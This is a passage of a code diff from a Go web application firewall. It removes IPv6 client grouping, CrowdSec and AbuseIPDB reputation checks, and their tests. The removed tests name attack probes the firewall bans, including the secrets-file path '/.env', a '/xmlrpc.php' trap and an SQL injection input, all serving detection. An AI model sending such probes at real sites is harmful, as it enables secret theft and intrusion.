Rules: ruleFiles,
|
||||||
|
|||||||
@@ -72,49 +72,6 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
|
||||||
// /64s of one /48, are one client, and the second's request breaks the
|
|
||||||
// limit; the third, in the next /48, is another client.
|
|
||||||
const (
|
|
||||||
first = "2001:db8:9::1"
|
|
||||||
second = "2001:db8:9:1::1"
|
|
||||||
other = "2001:db8:a::1"
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
setting, value string
|
|
||||||
// status and action are those of the request that breaks the
|
|
||||||
// limit: a rate limit refuses it, a byte limit passes it on.
|
|
||||||
status int
|
|
||||||
action string
|
|
||||||
}{
|
|
||||||
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
|
|
||||||
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
|
|
||||||
} {
|
|
||||||
t.Run(tc.setting, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _ := startWithAnswers(t, map[string]string{
|
|
||||||
ipv6GroupPrefix: "48", tc.setting: tc.value,
|
|
||||||
})
|
|
||||||
|
|
||||||
s.get(first, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
line := s.get(second, tc.status, tc.action)
|
|
||||||
if line.ClientGroup != "2001:db8:9::/48" ||
|
|
||||||
line.Offence != requestlog.OffenceLimit {
|
|
||||||
t.Errorf("log line has client_group %q and offence %q, "+
|
|
||||||
"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(other, http.StatusOK, requestlog.ActionForward)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -2,18 +2,10 @@ package proxy
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// deny is the SWWAF_BLOCKLIST_ACTION and the SWWAF_REPUTATION_ACTION that
|
|
||||||
// refuses the requests of a client a source lists.
|
|
||||||
const deny = "deny"
|
|
||||||
|
|
||||||
// blocklistDenied notes the blocklists that list the client, as
|
// blocklistDenied notes the blocklists that list the client, as
|
||||||
// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny,
|
// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny,
|
||||||
// refuses the request. Being limit, it lowers the client's limits instead
|
// refuses the request. Being limit, it lowers the client's limits instead
|
||||||
@@ -23,23 +15,7 @@ func (rq *request) blocklistDenied() bool {
|
|||||||
rq.blocklisted = len(listedBy) > 0
|
rq.blocklisted = len(listedBy) > 0
|
||||||
rq.noteListed(listedBy, "listed by a blocklist")
|
rq.noteListed(listedBy, "listed by a blocklist")
|
||||||
|
|
||||||
return rq.blocklisted && rq.h.config.BlocklistAction == deny
|
return rq.blocklisted && rq.h.config.BlocklistAction == "deny"
|
||||||
}
|
|
||||||
|
|
||||||
// crowdSecBanned reports whether a decision of the CrowdSec decision list
|
|
||||||
// on the client is in force at now. If one is, it notes the list, as
|
|
||||||
// noteHit does, and bans the client until that decision ends.
|
|
||||||
func (rq *request) crowdSecBanned(now time.Time) bool {
|
|
||||||
decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
|
|
||||||
if !listed {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
|
|
||||||
"listed by the CrowdSec decision list")
|
|
||||||
rq.banForCrowdSec(now, decision)
|
|
||||||
|
|
||||||
return true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
|
// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
|
||||||
@@ -54,68 +30,27 @@ func (rq *request) dnsblDenied(ctx context.Context) bool {
|
|||||||
rq.dnsblListed = len(listedBy) > 0
|
rq.dnsblListed = len(listedBy) > 0
|
||||||
rq.noteListed(listedBy, "listed by a DNSBL zone")
|
rq.noteListed(listedBy, "listed by a DNSBL zone")
|
||||||
|
|
||||||
return rq.dnsblListed && rq.h.config.ReputationAction == deny
|
return rq.dnsblListed && rq.h.config.ReputationAction == "deny"
|
||||||
}
|
}
|
||||||
|
|
||||||
// abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when
|
// noteListed adds sources, the URLs of the blocklists or the DNSBL zones
|
||||||
// its score of the client is a hit, and reports whether
|
// that list the client, to the log line's reputation, counts each of them
|
||||||
// SWWAF_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied
|
// in the metrics, and raises a reputation_hit alert, with reason, for
|
||||||
// does for a zone. While SWWAF_ABUSEIPDB_KEY is unset it does nothing. A
|
// each.
|
||||||
// client without a score is checked in the background, by the request's
|
|
||||||
// address, if its history counts an offence, and the request does not
|
|
||||||
// wait for the answer. The score is then used for each address of the
|
|
||||||
// client. ctx is the request's own context.
|
|
||||||
func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
|
|
||||||
if rq.h.config.AbuseIPDBKey == "" {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
client := rq.h.clientGroup(rq.client)
|
|
||||||
held, _ := rq.h.limiter.Client(client)
|
|
||||||
offender := held.History.Offences != ratelimit.Offences{}
|
|
||||||
|
|
||||||
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
|
|
||||||
if !hit {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.abuseIPDBHit = true
|
|
||||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
|
||||||
"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
|
|
||||||
|
|
||||||
return rq.h.config.ReputationAction == deny
|
|
||||||
}
|
|
||||||
|
|
||||||
// noteListed notes each of sources, the URLs of the blocklists or the
|
|
||||||
// DNSBL zones, their keys masked, that list the client, as noteHit does,
|
|
||||||
// with reason.
|
|
||||||
func (rq *request) noteListed(sources []string, reason string) {
|
func (rq *request) noteListed(sources []string, reason string) {
|
||||||
|
rq.line.Reputation = append(rq.line.Reputation, sources...)
|
||||||
|
|
||||||
for _, source := range sources {
|
for _, source := range sources {
|
||||||
rq.noteHit(bans.ReputationHit{Source: source}, reason)
|
rq.h.metrics.ReputationHit(source)
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// noteHit adds hit's source, which lists the client, to the log line's
|
|
||||||
// reputation, and hit to the notes of a ban the request makes, counts the
|
|
||||||
// source in the metrics, and raises a reputation_hit alert with reason,
|
|
||||||
// whose detail gives hit's source and score.
|
|
||||||
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
|
|
||||||
detail := map[string]any{"source": hit.Source}
|
|
||||||
if hit.Score != nil {
|
|
||||||
detail["score"] = *hit.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
|
|
||||||
rq.reputation = append(rq.reputation, hit)
|
|
||||||
rq.h.metrics.ReputationHit(hit.Source)
|
|
||||||
rq.h.alerts.Raise(alerts.Alert{
|
rq.h.alerts.Raise(alerts.Alert{
|
||||||
Event: alerts.EventReputationHit,
|
Event: alerts.EventReputationHit,
|
||||||
Client: rq.client,
|
Client: rq.client,
|
||||||
Netblock: rq.h.clientGroup(rq.client),
|
Netblock: clientGroup(rq.client),
|
||||||
ASN: rq.line.ASN,
|
ASN: rq.line.ASN,
|
||||||
ASName: rq.line.ASName,
|
ASName: rq.line.ASName,
|
||||||
Country: rq.line.Country,
|
Country: rq.line.Country,
|
||||||
Reason: reason,
|
Reason: reason,
|
||||||
Detail: detail,
|
Detail: map[string]any{"source": source},
|
||||||
})
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,22 +1,15 @@
|
|||||||
package proxy_test
|
package proxy_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"maps"
|
"maps"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"slices"
|
"slices"
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
@@ -541,42 +534,6 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
key = "abcdefghijklmnopqrstuvwxyz"
|
|
||||||
keyed = key + ".xbl.dq.spamhaus.net"
|
|
||||||
masked = "********.xbl.dq.spamhaus.net"
|
|
||||||
)
|
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
|
||||||
dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
|
|
||||||
metricsToken: token,
|
|
||||||
})
|
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
|
||||||
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked)
|
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
|
|
||||||
t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting,
|
|
||||||
masked)
|
|
||||||
}
|
|
||||||
|
|
||||||
metrics := s.scrape(unplaced)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_reputation_hits_total{instance="`+
|
|
||||||
alertInstance+`",source="`+masked+`"}`, 1)
|
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
|
||||||
"the log": s.out.text(), "the metrics": metrics,
|
|
||||||
} {
|
|
||||||
if strings.Contains(shown, key) {
|
|
||||||
t.Errorf("%s shows the key:\n%s", name, shown)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -605,361 +562,6 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The AbuseIPDB settings, and accountKey, the key the tests set.
|
|
||||||
const (
|
|
||||||
abuseIPDBKey = "SWWAF_ABUSEIPDB_KEY"
|
|
||||||
accountKey = "abuseipdb-key-0123456789abcdef"
|
|
||||||
)
|
|
||||||
|
|
||||||
// abuseipdb is how the request log, the alerts and the metrics name
|
|
||||||
// AbuseIPDB.
|
|
||||||
const abuseipdb = reputation.AbuseIPDBSource
|
|
||||||
|
|
||||||
// abuseIPDBURL is where newProxy has clients checked with AbuseIPDB: at
|
|
||||||
// abuseIPDBStandIn, which TestMain registers with Go's default transport,
|
|
||||||
// through which AbuseIPDB is asked.
|
|
||||||
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
|
|
||||||
|
|
||||||
// abuseIPDBStandIn is a stand-in for AbuseIPDB that gives every client the
|
|
||||||
// score 100, at once and without the network.
|
|
||||||
type abuseIPDBStandIn struct{}
|
|
||||||
|
|
||||||
// RoundTrip answers req with the score 100.
|
|
||||||
func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
|
||||||
return &http.Response{
|
|
||||||
StatusCode: http.StatusOK,
|
|
||||||
Status: "200 OK",
|
|
||||||
Header: http.Header{},
|
|
||||||
Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)),
|
|
||||||
Request: req,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
forward := requestlog.ActionForward
|
|
||||||
|
|
||||||
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
|
|
||||||
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
|
|
||||||
})
|
|
||||||
|
|
||||||
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
|
|
||||||
// does, is checked, nor fromDE under the ban that makes.
|
|
||||||
s.get(fromDE, http.StatusOK, forward)
|
|
||||||
s.get(fromDE, http.StatusOK, forward)
|
|
||||||
s.get(fromKP, http.StatusOK, forward)
|
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
|
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
wantAbuseIPDBChecks(t, server, 0)
|
|
||||||
|
|
||||||
// Once the ban has ended, fromDE's first request has it checked in the
|
|
||||||
// background, and goes on without its score, which its next request
|
|
||||||
// finds.
|
|
||||||
clk.advance(time.Hour)
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
|
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
|
||||||
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 })
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
|
|
||||||
|
|
||||||
s.get(fromKP, http.StatusOK, forward)
|
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
forward := requestlog.ActionForward
|
|
||||||
|
|
||||||
// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of it
|
|
||||||
// of its own.
|
|
||||||
var addresses []string
|
|
||||||
for i := 1; i < 16; i++ {
|
|
||||||
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
|
||||||
}
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
|
||||||
rateLimitPerMinute: strconv.Itoa(len(addresses)),
|
|
||||||
})
|
|
||||||
|
|
||||||
// The client breaks the rate limit from its first address, which bans
|
|
||||||
// it for an hour.
|
|
||||||
for range addresses {
|
|
||||||
s.get(addresses[0], http.StatusOK, forward)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(addresses[0], http.StatusForbidden, requestlog.ActionRateLimited)
|
|
||||||
clk.advance(time.Hour)
|
|
||||||
|
|
||||||
// Once the ban has ended, which set its counters back to zero, a
|
|
||||||
// request from each of its addresses has it checked once.
|
|
||||||
for _, address := range addresses {
|
|
||||||
s.get(address, http.StatusOK, forward)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
|
||||||
}
|
|
||||||
|
|
||||||
// probePath is the path the ban rule of testRules, probe, matches, and
|
|
||||||
// blockedPath the one its block rule, blocked, matches.
|
|
||||||
const (
|
|
||||||
probePath = "/.env"
|
|
||||||
blockedPath = "/blocked"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
// path is what the client asks for, status and action what that
|
|
||||||
// request is answered and logged with, and want the offences its
|
|
||||||
// history then counts.
|
|
||||||
path string
|
|
||||||
status int
|
|
||||||
action string
|
|
||||||
want ratelimit.Offences
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
|
|
||||||
ratelimit.Offences{RuleBlocked: 1},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"the Core Rule Set", sqlInjection, http.StatusForbidden,
|
|
||||||
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
|
|
||||||
ratelimit.Offences{Attack: 1},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
|
|
||||||
ratelimit.Offences{Attack: 1},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
|
|
||||||
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
|
||||||
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
|
|
||||||
trapPaths: trapPathList, metricsToken: token, wafMode: block,
|
|
||||||
})
|
|
||||||
|
|
||||||
s.request(client, tc.path, tc.status, tc.action)
|
|
||||||
wantAbuseIPDBChecks(t, server, 0)
|
|
||||||
|
|
||||||
if got := historyOf(t, server, client).Offences; got != tc.want {
|
|
||||||
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Its next request, once any ban for a clear sign of attack
|
|
||||||
// has ended, has it checked.
|
|
||||||
clk.advance(time.Hour)
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
forward, denied := requestlog.ActionForward, requestlog.ActionDenied
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
action string
|
|
||||||
// statuses and actions are those of fromDE's three requests, and
|
|
||||||
// percent their limit_percent, as percentText gives it.
|
|
||||||
statuses []int
|
|
||||||
actions []string
|
|
||||||
percent string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
actionDeny, []int{http.StatusForbidden, http.StatusForbidden, http.StatusForbidden},
|
|
||||||
[]string{denied, denied, denied}, none,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
// Half of 4 requests a minute: the third breaks the limit.
|
|
||||||
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
|
||||||
[]string{forward, forward, requestlog.ActionRateLimited},
|
|
||||||
"50 from " + reputationAction,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
|
||||||
[]string{forward, forward, forward}, none,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.action, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
|
||||||
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
|
||||||
reputationAction: tc.action,
|
|
||||||
})
|
|
||||||
// At SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
|
||||||
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
|
||||||
|
|
||||||
for i := range 3 {
|
|
||||||
line := s.get(fromDE, tc.statuses[i], tc.actions[i])
|
|
||||||
wantReputation(t, line, abuseipdb)
|
|
||||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
|
||||||
tc.percent)
|
|
||||||
|
|
||||||
// A request refused for the score is not counted.
|
|
||||||
counted := line.fields["counts"] != nil
|
|
||||||
if counted != (tc.actions[i] != denied) {
|
|
||||||
t.Errorf("request counted %t, logged %s", counted, tc.actions[i])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// fromKP's score is no hit, and it has the whole limit.
|
|
||||||
for range 3 {
|
|
||||||
line := s.get(fromKP, http.StatusOK, forward)
|
|
||||||
wantReputation(t, line)
|
|
||||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
|
||||||
none)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A refusal for the score makes no ban.
|
|
||||||
if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", held)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog, metricsToken: token,
|
|
||||||
})
|
|
||||||
loadScores(server, map[string]int64{fromDE: 90})
|
|
||||||
|
|
||||||
// The second request's alert is a repeat, which the cooldown holds back.
|
|
||||||
for range 2 {
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
abuseipdb)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The alert is made as a DNSBL zone's is, with the score besides.
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
|
|
||||||
waiting[0].Reason != "scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE" ||
|
|
||||||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
|
||||||
queue.Suppressed() != 1 {
|
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
|
||||||
"with the score 90, and 1", waiting, queue.Suppressed())
|
|
||||||
}
|
|
||||||
|
|
||||||
// The hits, and the checks, none, since no client committed an
|
|
||||||
// offence, so that the whole budget is left.
|
|
||||||
metrics := s.scrape(unplaced)
|
|
||||||
labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}`
|
|
||||||
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_daily_budget_remaining"+labels, 900)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
forward := requestlog.ActionForward
|
|
||||||
|
|
||||||
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
|
|
||||||
rateLimitPerMinute: "1", metricsToken: token,
|
|
||||||
})
|
|
||||||
loadScores(server, map[string]int64{fromDE: 100})
|
|
||||||
|
|
||||||
// fromDE's score is not used, and once it has committed an offence it
|
|
||||||
// is not checked either.
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
|
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
|
|
||||||
clk.advance(time.Hour)
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
|
|
||||||
wantAbuseIPDBChecks(t, server, 0)
|
|
||||||
|
|
||||||
wantNoSeries(t, s.scrape(unplaced), `smallwebwaf_reputation_daily_budget_remaining{`+
|
|
||||||
`instance="`+alertInstance+`",source="`+abuseipdb+`"}`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
score := int64(90)
|
|
||||||
listed := []bans.ReputationHit{
|
|
||||||
{Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
// ban sends the requests from the client at from that ban it.
|
|
||||||
ban func(s *sender, from string)
|
|
||||||
}{
|
|
||||||
{"for a broken rate limit", func(s *sender, from string) {
|
|
||||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
|
||||||
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
|
|
||||||
}},
|
|
||||||
{"for a clear sign of attack", func(s *sender, from string) {
|
|
||||||
s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
}},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, server, queue := startWithAlerts(t, map[string]string{
|
|
||||||
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
|
|
||||||
blocklistURLs: dropURL, blocklistAction: actionLog,
|
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
|
||||||
})
|
|
||||||
// Every source lists client, and none otherClient, whose score is
|
|
||||||
// under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
|
||||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
|
|
||||||
loadScores(server, map[string]int64{client: score, otherClient: 74})
|
|
||||||
|
|
||||||
for _, banned := range []struct {
|
|
||||||
from string
|
|
||||||
want []bans.ReputationHit
|
|
||||||
}{{client, listed}, {otherClient, nil}} {
|
|
||||||
tc.ban(s, banned.from)
|
|
||||||
|
|
||||||
held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
|
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
|
|
||||||
t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
|
|
||||||
banned.from, held, banned.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// The alert for each ban carries the same in its notes.
|
|
||||||
var alerted [][]bans.ReputationHit
|
|
||||||
|
|
||||||
for _, alert := range queue.Snapshot().Waiting[alerts.DestinationWebhook] {
|
|
||||||
if alert.Event == alerts.EventBan {
|
|
||||||
notes, _ := alert.Detail["notes"].(bans.Notes)
|
|
||||||
alerted = append(alerted, notes.Reputation)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
|
|
||||||
t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
|
|
||||||
alerted, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// listsFetched is when loadLists has the copies fetched.
|
// listsFetched is when loadLists has the copies fetched.
|
||||||
func listsFetched() time.Time {
|
func listsFetched() time.Time {
|
||||||
return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC)
|
return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -992,31 +594,6 @@ func loadVerdicts(server *proxy.Server, listedBy map[string][]string) {
|
|||||||
server.DNSBL.Load(verdicts)
|
server.DNSBL.Load(verdicts)
|
||||||
}
|
}
|
||||||
|
|
||||||
// loadScores puts into server's AbuseIPDB the score scores gives each
|
|
||||||
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json
|
|
||||||
// would at start.
|
|
||||||
func loadScores(server *proxy.Server, scores map[string]int64) {
|
|
||||||
kept := make([]reputation.Score, 0, len(scores))
|
|
||||||
for client, score := range scores {
|
|
||||||
kept = append(kept, reputation.Score{
|
|
||||||
Client: netip.MustParsePrefix(client + "/32"), Score: score,
|
|
||||||
Fetched: verdictsFetched(),
